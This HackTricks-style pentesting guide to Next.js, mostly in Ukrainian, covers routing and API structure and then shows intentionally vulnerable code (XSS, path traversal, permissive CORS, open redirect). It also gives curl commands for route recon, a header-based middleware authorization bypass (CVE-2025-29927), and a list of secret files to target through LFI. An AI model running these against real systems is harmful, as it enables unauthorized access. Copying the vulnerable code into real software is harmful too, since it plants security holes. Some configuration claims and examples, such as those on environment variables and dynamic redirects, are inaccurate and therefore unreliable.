NextJS

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Загальна архітектура додатка Next.js

Типова структура файлів

Стандартний проект Next.js має певну структуру файлів і директорій, що забезпечує роботу таких можливостей, як маршрутизація, API endpoints та керування статичними ресурсами. Ось типовий вигляд:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

Core Directories and Files

  • public/: Розміщує статичні ресурси, такі як зображення, шрифти та інші файли. Файли в цій папці доступні за кореневим шляхом (/).
  • app/: Центральний каталог для сторінок, layout-ів, компонентів та API-роутів вашого застосунку. Використовує парадигму App Router, що дозволяє розширені можливості маршрутизації й розмежування серверних та клієнтських компонентів.
  • app/layout.tsx: Визначає кореневий layout для вашого застосунку, який охоплює всі сторінки та забезпечує послідовні UI-елементи, такі як заголовки, футери та панелі навігації.
  • app/page.tsx: Служить точкою входу для кореневого маршруту /, відображаючи домашню сторінку.
  • app/[route]/page.tsx: Обробляє статичні та динамічні маршрути. Кожна папка в app/ представляє сегмент маршруту, а page.tsx в цих папках відповідає компоненту маршруту.
  • app/api/: Містить API-роути, що дозволяють створювати serverless-функції для обробки HTTP-запитів. Ці маршрути замінюють традиційну директорію pages/api.
  • app/components/: Містить повторно використовувані React-компоненти, які можна використовувати на різних сторінках та layout-ах.
  • app/styles/: Містить глобальні CSS-файли та CSS Modules для стилізації, прив’язаної до компонентів.
  • app/utils/: Містить утиліти, допоміжні модулі та іншу не-UI логіку, яка може бути спільною для застосунку.
  • .env.local: Зберігає змінні середовища, специфічні для локального середовища розробки. Ці змінні не комітяться до системи контролю версій.
  • next.config.js: Налаштовує поведінку Next.js, включаючи конфігурації webpack, змінні середовища та налаштування безпеки.
  • tsconfig.json: Налаштовує параметри TypeScript для проєкту, вмикаючи перевірку типів та інші функції TypeScript.
  • package.json: Керує залежностями проєкту, скриптами та метаданими.
  • README.md: Надає документацію та інформацію про проєкт, включно з інструкціями з налаштування, рекомендаціями щодо використання та іншими відповідними деталями.
  • yarn.lock / package-lock.json: Фіксують версії залежностей проєкту, забезпечуючи консистентність інсталяцій у різних середовищах.

Client-Side in Next.js

File-Based Routing in the app Directory

The app directory is the cornerstone of routing in the latest Next.js versions. It leverages the filesystem to define routes, making route management intuitive and scalable.

Обробка кореневого шляху /

Структура файлів:

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Ключові файли:

  • app/page.tsx: Обробляє запити до кореневого шляху /.
  • app/layout.tsx: Визначає макет для застосунку, що обгортає всі сторінки.

Реалізація:

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

Пояснення:

  • Визначення маршруту: файл page.tsx, розташований безпосередньо в директорії app, відповідає маршруту /.
  • Відображення: цей компонент відображає вміст головної сторінки.
  • Інтеграція макета: компонент HomePage обгорнутий у layout.tsx, який може включати заголовки, футери та інші спільні елементи.
Обробка інших статичних шляхів

Приклад: маршрут /about

Структура файлів:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Реалізація:

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

Пояснення:

  • Визначення маршруту: Файл page.tsx всередині папки about відповідає маршруту /about.
  • Відображення: Цей компонент відображає вміст для сторінки about.
Динамічні маршрути

Динамічні маршрути дозволяють обробляти шляхи зі змінними сегментами, що дає змогу додаткам відображати вміст на основі параметрів, таких як ID, slug тощо.

Приклад: /posts/[id] маршрут

Структура файлів:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Реалізація:

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

Пояснення:

  • Dynamic Segment: [id] позначає динамічний сегмент у маршруті, що захоплює параметр id з URL.
  • Accessing Parameters: Об’єкт params містить динамічні параметри, доступні всередині компонента.
  • Route Matching: Будь-який шлях, що відповідає /posts/*, наприклад /posts/1, /posts/abc тощо, буде оброблений цим компонентом.
Вкладені маршрути

Next.js підтримує вкладені маршрути, що дозволяє створювати ієрархічні структури маршрутів, які відповідають розташуванню файлів у каталогах.

Приклад: маршрут /dashboard/settings/profile

Структура файлів:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Реалізація:

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

Пояснення:

  • Глибока вкладеність: Файл page.tsx всередині dashboard/settings/profile/ відповідає маршруту /dashboard/settings/profile.
  • Відображення ієрархії: Структура директорій відображає URL-шлях, підвищуючи підтримуваність і зрозумілість.
Catch-All маршрути

Catch-all маршрути обробляють кілька вкладених сегментів або невідомі шляхи, забезпечуючи гнучкість у маршрутизації.

Приклад: /* маршрут

Структура файлів:

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Реалізація:

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

Пояснення:

  • Catch-All Segment: [...slug] захоплює всі залишкові сегменти шляху у вигляді масиву.
  • Використання: Корисно для обробки сценаріїв динамічного роутингу, таких як шляхи, створені користувачами, вкладені категорії тощо.
  • Відповідність маршрутів: Шляхи на кшталт /anything/here, /foo/bar/baz тощо обробляються цим компонентом.

Потенційні вразливості на стороні клієнта

Хоча Next.js забезпечує безпечну основу, неналежні практики кодування можуть вводити вразливості. Основні вразливості на стороні клієнта включають:

Cross-Site Scripting (XSS)

XSS attacks occur when malicious scripts are injected into trusted websites. Атакувальники можуть виконувати скрипти в браузерах користувачів, викрадати дані або виконувати дії від імені користувача.

Приклад вразливого коду:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

Чому це вразливо: Using dangerouslySetInnerHTML with untrusted input allows attackers to inject malicious scripts.

Client-Side Template Injection

Виникає, коли введені користувачем дані неправильно обробляються в шаблонах, що дозволяє зловмисникам вводити та виконувати шаблони або вирази.

Приклад вразливого коду:

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

Чому це вразливо: Якщо template або data містять шкідливий вміст, це може призвести до виконання небажаного коду.

Client Path Traversal

Це вразливість, яка дозволяє атакувальникам маніпулювати client-side шляхами для виконання небажаних дій, таких як Cross-Site Request Forgery (CSRF). На відміну від server-side path traversal, який націлюється на файлову систему сервера, CSPT зосереджується на використанні client-side механізмів для перенаправлення легітимних API-запитів на шкідливі endpoints.

Приклад вразливого коду:

Додаток Next.js дозволяє користувачам upload і download файли. Функція download реалізована на client side, де користувачі можуть вказати file path для скачування.

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Attack Scenario

  1. Attacker’s Objective: Виконати CSRF-атаку, щоб видалити критичний файл (наприклад, admin/config.json) шляхом маніпуляції filePath.
  2. Exploiting CSPT:
  • Malicious Input: Зловмисник формує URL з маніпульованим filePath, наприклад ../deleteFile/config.json.
  • Resulting API Call: Код на клієнті робить запит до /api/files/../deleteFile/config.json.
  • Server’s Handling: Якщо сервер не валідовує filePath, він обробляє запит, що може призвести до видалення або розкриття конфіденційних файлів.
  1. Executing CSRF:
  • Crafted Link: Зловмисник надсилає жертві посилання або вбудовує шкідливий скрипт, який ініціює запит з маніпульованим filePath.
  • Outcome: Жертва ненавмисно виконує дію, що призводить до несанкціонованого доступу до файлів або їх видалення.

Why It’s Vulnerable

  • Lack of Input Validation: Клієнтська частина дозволяє довільні значення filePath, що дає змогу path traversal.
  • Trusting Client Inputs: API на сервері довіряє і обробляє filePath без санітизації.
  • Potential API Actions: Якщо endpoint API виконує зміни стану (наприклад, delete, modify files), його можна експлуатувати через CSPT.

Recon: static export route discovery via _buildManifest

When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.

  • Grab the buildId from the root response (often printed at the bottom) or from <script> tags loading /_next/static/<buildId>/....
  • Fetch the manifest and extract routes:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
  • Використовуйте виявлені шляхи (наприклад /docs, /docs/content/examples, /signin) щоб провести auth testing і endpoint discovery.

Серверна частина в Next.js

Рендеринг на стороні сервера (SSR)

Сторінки рендеряться на сервері для кожного запиту, що гарантує, що користувач отримує повністю згенерований HTML. У цьому випадку слід створити власний сервер для обробки запитів.

Випадки використання:

  • Динамічний контент, який часто змінюється.
  • Оптимізація для SEO, оскільки пошукові системи можуть сканувати повністю відрендерену сторінку.

Реалізація:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Static Site Generation (SSG)

Сторінки попередньо генеруються під час збірки, що призводить до швидшого завантаження та зменшеного навантаження на сервер.

Випадки використання:

  • Контент, який рідко змінюється.
  • Блоги, документація, маркетингові сторінки.

Реалізація:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Безсерверні функції (API маршрути)

Next.js дозволяє створювати кінцеві точки API як безсерверні функції. Ці функції виконуються на вимогу без потреби у виділеному сервері.

Випадки використання:

  • Обробка відправлень форм.
  • Взаємодія з базами даних.
  • Обробка даних або інтеграція з API сторонніх сервісів.

Реалізація:

З появою директорії app у Next.js 13 маршрутизація та обробка API стали більш гнучкими та потужними. Цей сучасний підхід тісно відповідає файловій системі маршрутизації, але вводить розширені можливості, включаючи підтримку серверних і клієнтських компонентів.

Базовий обробник маршруту

Структура файлів:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

Реалізація:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

Пояснення:

  • Розташування: Маршрути API розміщені в директорії app/api/.
  • Іменування файлів: Кожен API-ендпойнт знаходиться в окремій папці, що містить файл route.js або route.ts.
  • Експортовані функції: Замість єдиного експорту за замовчуванням експортуються конкретні функції для HTTP-методів (наприклад, GET, POST).
  • Обробка відповіді: Використовуйте конструктор Response для повернення відповідей, що дає більше контролю над заголовками та статус-кодами.

Як обробляти інші шляхи та методи:

Обробка конкретних HTTP-методів

Next.js 13+ дозволяє визначати обробники для конкретних HTTP-методів у тому ж файлі route.js або route.ts, що сприяє більш зрозумілому та організованому коду.

Приклад:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

Пояснення:

  • Кілька експортів: Для кожного HTTP-методу (GET, PUT, DELETE) визначена власна експортована функція.
  • Параметри: Другий аргумент надає доступ до параметрів маршруту через params.
  • Розширені відповіді: Більший контроль над об’єктами відповіді, що дозволяє точно керувати заголовками та кодами статусу.
Catch-All та вкладені маршрути

Next.js 13+ підтримує розширені можливості роутингу, такі як catch-all маршрути та вкладені API-маршрути, що дозволяє створювати більш динамічні та масштабовані структури API.

Приклад catch-all маршруту:

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

Пояснення:

  • Синтаксис: [...] позначає catch-all сегмент, який захоплює всі вкладені шляхи.
  • Використання: Корисно для API, які мають обробляти змінну глибину маршрутів або динамічні сегменти.

Приклад вкладених маршрутів:

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

Пояснення:

  • Глибоке вкладення: Дозволяє створювати ієрархічні структури API, що відображають відносини між ресурсами.
  • Доступ до параметрів: Легко отримувати кілька параметрів маршруту через об’єкт params.
Обробка API маршрутів у Next.js 12 та раніших версіях

API маршрути в директорії pages (Next.js 12 та раніші версії)

До того, як Next.js 13 представив директорію app та розширені можливості маршрутизації, API маршрути здебільшого визначалися в директорії pages. Цей підхід досі широко використовується та підтримується у Next.js 12 та раніших версіях.

Базовий API маршрут

Структура файлів:

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

Реалізація:

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

Пояснення:

  • Розташування: Маршрути API розміщені в директорії pages/api/.
  • Експорт: Використовуйте export default для визначення функції-обробника.
  • Підпис функції: Обробник отримує об’єкти req (HTTP request) та res (HTTP response).
  • Маршрутизація: Ім’я файлу (hello.js) відповідає маршруту /api/hello.

Динамічні API-маршрути

Структура файлів:

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

Реалізація:

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Пояснення:

  • Динамічні сегменти: Квадратні дужки ([id].js) позначають динамічні сегменти маршруту.
  • Доступ до параметрів: Використовуйте req.query.id щоб отримати динамічний параметр.
  • Обробка методів: Використовуйте умовну логіку для обробки різних HTTP-методів (GET, PUT, DELETE тощо).

Обробка різних HTTP-методів

Хоча базовий приклад API-роуту обробляє всі HTTP-методи в межах однієї функції, ви можете структурувати код так, щоб явно обробляти кожен метод для кращої читабельності та підтримуваності.

Приклад:

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Найкращі практики:

  • Розділення відповідальностей: Чітко розділяйте логіку для різних HTTP-методів.
  • Послідовність відповідей: Забезпечте послідовну структуру відповідей для полегшення обробки на стороні клієнта.
  • Обробка помилок: Коректно обробляйте непідтримувані методи та несподівані помилки.

Налаштування CORS

Контролюйте, які origins можуть отримувати доступ до ваших API-маршрутів, зменшуючи вразливості Cross-Origin Resource Sharing (CORS).

Поганий приклад конфігурації:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

Зауважте, що CORS також можна налаштувати в усіх API routes у файлі middleware.ts:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

Проблема:

  • Access-Control-Allow-Origin: '*': Дозволяє будь-якому сайту отримувати доступ до API, потенційно дозволяючи зловмисним сайтам взаємодіяти з вашим API без обмежень.
  • Wide Method Allowance: Дозвіл усіх методів може дозволити зловмисникам виконувати небажані дії.

Як зловмисники це експлуатують:

Зловмисники можуть створювати шкідливі вебсайти, які роблять запити до вашого API, потенційно зловживаючи функціями, такими як отримання даних, маніпуляція даними або запуск небажаних дій від імені автентифікованих користувачів.

CORS - Misconfigurations & Bypass

Server code exposure in Client Side

Цілком можливо випадково use code used by the server also in code exposed and used by the client side, найкращий спосіб переконатися, що файл коду ніколи не буде доступний на client side — додати цей import на початку файлу:

import "server-only"

Ключові файли та їхні ролі

middleware.ts / middleware.js

Location: Корінь проекту або в папці src/.

Purpose: Виконує код на серверній стороні (serverless function) перед обробкою запиту, що дозволяє виконувати такі завдання, як автентифікація, редиректи або змінення відповідей.

Execution Flow:

  1. Incoming Request: middleware перехоплює запит.
  2. Processing: Виконує операції на основі запиту (наприклад, перевірка автентифікації).
  3. Response Modification: Може змінити відповідь або передати керування наступному обробнику.

Example Use Cases:

  • Редирект неавторизованих користувачів.
  • Додавання користувацьких заголовків.
  • Логування запитів.

Sample Configuration:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

Якщо authorization реалізовано в middleware, уражені релізи Next.js (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) можна обійти, додавши заголовок x-middleware-subrequest. Фреймворк пропустить рекурсію middleware і поверне захищену сторінку.

  • За замовчуванням типова поведінка — 307 redirect до маршруту входу, наприклад /api/auth/signin.
  • Надішліть довге значення x-middleware-subrequest (повторюйте middleware, щоб досягти MAX_RECURSION_DEPTH), щоб змінити відповідь на 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
  • Оскільки авторизовані сторінки підвантажують багато субресурсів, додайте заголовок до кожного запиту (наприклад, Burp Match/Replace з порожнім рядком для відповідності), щоб assets не перенаправлялися.

next.config.js

Location: Корінь проєкту.

Purpose: Налаштовує поведінку Next.js, увімкнення чи вимкнення функцій, кастомізацію конфігурацій webpack, встановлення змінних середовища та налаштування кількох функцій безпеки.

Key Security Configurations:

Security Headers

Заголовки безпеки підвищують захищеність вашого застосунку, вказуючи браузерам, як обробляти вміст. Вони допомагають пом’якшити різні атаки, такі як Cross-Site Scripting (XSS), Clickjacking, and MIME type sniffing:

  • Content Security Policy (CSP)
  • X-Frame-Options
  • X-Content-Type-Options
  • Strict-Transport-Security (HSTS)
  • Referrer Policy

Examples:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Налаштування оптимізації зображень

Next.js оптимізує зображення для продуктивності, але неправильні конфігурації можуть призвести до вразливостей безпеки, наприклад дозволяючи ненадійним джерелам вставляти шкідливий вміст.

Поганий приклад конфігурації:

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

Проблема:

  • '*': Дозволяє завантажувати зображення з будь-якого зовнішнього джерела, включно з ненадійними або зловмисними доменами. Зловмисники можуть розміщувати зображення, які містять шкідливі payloads або контент, що вводить користувачів в оману.
  • Ще однією проблемою може бути дозволити домен де будь-хто може завантажити зображення (наприклад, raw.githubusercontent.com)

Як зловмисники це використовують:

Підвантажуючи зображення з зловмисних джерел, зловмисники можуть виконувати phishing attacks, показувати вводящу в оману інформацію або exploit vulnerabilities у бібліотеках рендерингу зображень.

Витік змінних середовища

Керуйте конфіденційною інформацією, такою як API keys та database credentials, безпечно, не передаючи її клієнту.

a. Розкриття конфіденційних змінних

Поганий приклад конфігурації:

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
},
}

Проблема:

  • SECRET_API_KEY: Без префіксу NEXT_PUBLIC_ Next.js не робить змінні доступними для клієнта. Однак якщо випадково додати префікс (наприклад, NEXT_PUBLIC_SECRET_API_KEY), він стає доступним на клієнтській стороні.

Як зловмисники це використовують:

Якщо конфіденційні змінні доступні клієнту, зловмисники можуть отримати їх, переглянувши клієнтський код або мережеві запити, здобуваючи несанкціонований доступ до API, баз даних або інших сервісів.

Перенаправлення

Керуйте URL-перенаправленнями та перезаписами (rewrites) у вашому додатку, забезпечуючи правильне спрямування користувачів без створення вразливостей open redirect.

a. Open Redirect Vulnerability

Поганий приклад конфігурації:

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

Проблема:

  • Dynamic Destination: Дозволяє користувачам вказувати будь-яку URL-адресу, що дозволяє open redirect attacks.
  • Trusting User Input: Перенаправлення на URL, надані користувачами, без валідації може призвести до phishing, malware distribution або credential theft.

Як зловмисники це використовують:

Зловмисники можуть створювати URL, які виглядають ніби походять з вашого домену, але перенаправляють користувачів на шкідливі сайти. Наприклад:

https://yourdomain.com/redirect?url=https://malicious-site.com

Користувачі, які довіряють оригінальному домену, можуть ненавмисно перейти на шкідливі вебсайти.

Конфігурація Webpack

Налаштування конфігурацій Webpack для вашого додатку Next.js може ненавмисно призвести до вразливостей безпеки, якщо діяти необережно.

a. Відкриття доступу до чутливих модулів

Поганий приклад конфігурації:

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

Проблема:

  • Розкриття чутливих шляхів: Aliasing чутливих директорій та надання доступу з client-side можуть leak конфіденційну інформацію.
  • Bundling Secrets: Якщо чутливі файли включені в bundle для клієнта, їхній вміст стає доступним через source maps або інспекцію client-side коду.

Як зловмисники це використовують:

Зловмисники можуть отримати доступ до або реконструювати структуру директорій додатку, потенційно знаходячи та використовуючи чутливі файли або дані.

pages/_app.js та pages/_document.js

pages/_app.js

Призначення: Замінює компонент App за замовчуванням, дозволяючи глобальний стан, стилі та компоненти layout.

Випадки використання:

  • Підключення глобального CSS.
  • Додавання layout-обгорток.
  • Інтеграція бібліотек управління станом.

Приклад:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Purpose: Перевизначає стандартний Document, дозволяючи налаштувати теги <html> та <body>.

Use Cases:

  • Зміна тегів <html> або <body>.
  • Додавання meta-тегів або користувацьких скриптів.
  • Інтеграція сторонніх шрифтів.

Example:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

Користувацький сервер (необов’язково)

Мета: Хоча Next.js постачається з вбудованим сервером, ви можете створити користувацький сервер для просунутих випадків використання, таких як кастомна маршрутизація або інтеграція з існуючими бекенд-сервісами.

Примітка: Використання користувацького сервера може обмежити варіанти розгортання, особливо на платформах на кшталт Vercel, які оптимізовані під вбудований сервер Next.js.

Приклад:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

Додаткові архітектурні та безпекові міркування

Змінні середовища та конфігурація

Призначення: Керування конфіденційною інформацією та налаштуваннями конфігурації поза кодовою базою.

Кращі практики:

  • Use .env Files: Зберігайте змінні, такі як API keys, у .env.local (виключено з контролю версій).
  • Access Variables Securely: Використовуйте process.env.VARIABLE_NAME для доступу до змінних середовища.
  • Never Expose Secrets on the Client: Переконайтеся, що конфіденційні змінні використовуються лише на серверній стороні.

Приклад:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

Примітка: Щоб обмежити змінні лише серверною стороною, не додавайте їх у об’єкт env або додайте префікс NEXT_PUBLIC_ для їх доступу з клієнта.

Корисні серверні артефакти для цільових операцій через LFI/download endpoints

Якщо ви знаходите path traversal або download API у Next.js додатку, націльтеся на скомпільовані артефакти, які leak серверні секрети та логіку автентифікації:

  • .env / .env.local для секретів сесій та облікових даних провайдерів.
  • .next/routes-manifest.json and .next/build-manifest.json — для повного списку маршрутів.
  • .next/server/pages/api/auth/[...nextauth].js щоб відновити скомпільовану конфігурацію NextAuth (часто містить fallback passwords коли значення process.env не встановлені).
  • next.config.js / next.config.mjs — для перегляду rewrites, redirects і middleware routing.

Аутентифікація та авторизація

Підхід:

  • Session-Based Authentication: Використовуйте cookies для керування сесіями користувачів.
  • Token-Based Authentication: Реалізуйте JWTs для безстанної аутентифікації.
  • Third-Party Providers: Інтегруйтеся з OAuth провайдерами (наприклад, Google, GitHub) за допомогою бібліотек, таких як next-auth.

Практики безпеки:

  • Secure Cookies: Встановлюйте атрибути HttpOnly, Secure, та SameSite.
  • Password Hashing: Завжди хешуйте паролі перед збереженням.
  • Input Validation: Запобігайте ін’єкційним атакам, валідуючи та санітизуючи введені дані.

Приклад:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

Оптимізація продуктивності

Стратегії:

  • Оптимізація зображень: Використовуйте компонент Next.js next/image для автоматичної оптимізації зображень.
